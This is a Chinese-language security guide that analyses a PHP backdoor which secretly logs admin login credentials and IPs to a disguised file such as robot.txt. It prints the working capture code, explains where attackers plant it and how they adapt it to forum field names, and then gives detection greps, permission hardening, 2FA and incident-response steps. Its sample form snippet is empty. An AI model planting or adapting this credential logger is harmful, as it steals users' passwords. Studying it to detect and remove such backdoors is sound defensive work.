PHP 後台登入密碼攔截代碼分析與防範指南（安全教育用途）

聲明

本文僅供安全教育、滲透測試授權範圍、程式碼審計學習使用。未經授權攔截、竊取、儲存他人帳號密碼屬違法行為，嚴禁用於非法用途。

惡意代碼樣本分析

核心攔截邏輯

<?php
if ($_POST['loginsubmit'] != '') { // 判斷是否點擊登入按鈕
    $sb = 'user:' . $_POST['username'] 
        . '--passwd:' . $_POST['password'] 
        . '--ip:' . $_SERVER['REMOTE_ADDR'] 
        . '--' . date('Y-m-d H:i:s') . "\r\n";
    fwrite(fopen('robot.txt', 'ab'), $sb); // 追加寫入檔案
}

關鍵點解析

1. 觸發條件：檢查特定 POST 參數（如 loginsubmit），精準鎖定登入動作。
2. 資料組裝：結構化串接帳號、密碼、客戶端 IP、時間戳記。
3. 隱蔽儲存：使用 fopen(..., 'ab') 以二進位附加模式寫入隱蔽檔名（robot.txt、.log、image.jpg 等），避免被發現。
4. 部署方式：植入登入處理腳本（login.php）、共用引入檔（common.inc.php）、框架中介軟體、或偽裝為正常功能檔案。

實戰改造範例（以 Discuz/XenForo 等論壇為例）

<form action="login.php" method="post">
      // 實際帳號欄位名
    
</form>

攻擊者修改攔截代碼對應欄位名：

$sb = 'user:' . $_POST['pwuser'] . '--passwd:' . $_POST['pwpwd'] . ...;

防範與偵測策略

1. 程式碼完整性監控

• 部署 Tripwire / AIDE / OSSEC 監控核心目錄檔案變更（MD5/SHA256 比對）。
• Git 管理生產代碼，部署前 git status 檢查未追蹤/修改檔案。
• Composer 安裝依賴，禁止手動複製第三方庫。

2. 檔案系統權限最小化

# Web 目錄僅供讀取，禁止寫入
chown -R root:root /var/www/html
chmod -R 555 /var/www/html
# 僅上傳/快取/Session 目錄授予 www-data 寫入
chown -R www-data:www-data /var/www/html/storage
chmod 770 /var/www/html/storage

3. 即時掃描可疑模式

# 定期掃描 PHP 檔案中的敏感函數組合
grep -r "fwrite.*fopen.*ab" /var/www/html --include="*.php"
grep -r "\$_POST\[" /var/www/html --include="*.php" | grep -E "password|passwd|pwd"
grep -r "robot\.txt|\.log\|\.dat" /var/www/html --include="*.php"

4. WAF / RASP 防護

• ModSecurity 規則攔截含密碼欄位的異常 POST 請求日誌。
• OpenRASP / 寶塔應用防火牆 監控 fopen/fwrite 敏感路徑寫入。

5. 登入安全強化

• 強制 HTTPS，防止明文傳輸被中間人攔截。
• 啟用雙因子認證（2FA/TOTP），密碼洩露也無法直接登入。
• 登入失敗鎖定、異地登入告警、裝置指紋識別。
• 密碼以 password_hash()（bcrypt/argon2）儲存，資料庫洩露也不易破解。

6. 事件應急響應

1. 發現可疑檔案 → 立即隔離主機（斷網/防火牆封鎖）。
2. 保全證據：磁碟鏡像、記憶體鏡像、日誌備份。
3. 全量掃描 Web 目錄、定時任務、啟動項目、資料庫 UDF/觸發器。
4. 重置所有管理員密碼、API 金鑰、資料庫帳號。
5. 根因分析：入侵向量（弱口令、未修補漏洞、供應鏈投毒），修補並加固。

合規與法律提醒

• 《中華人民共和國網絡安全法》第二十七條：禁止竊取帳號密碼。
• 《刑法》第二百八十五條：非法侵入計算機信息系統罪、非法獲取計算機信息系統數據罪。
• 企業應建立資安事件通報機制，依法向公安機關報案。

資安防護是系統工程，單一技術無法完美防禦。結合「最小權限、纖深防禦、持續監控、快速響應」四大原則，才能有效降低帳號密碼被竊風險。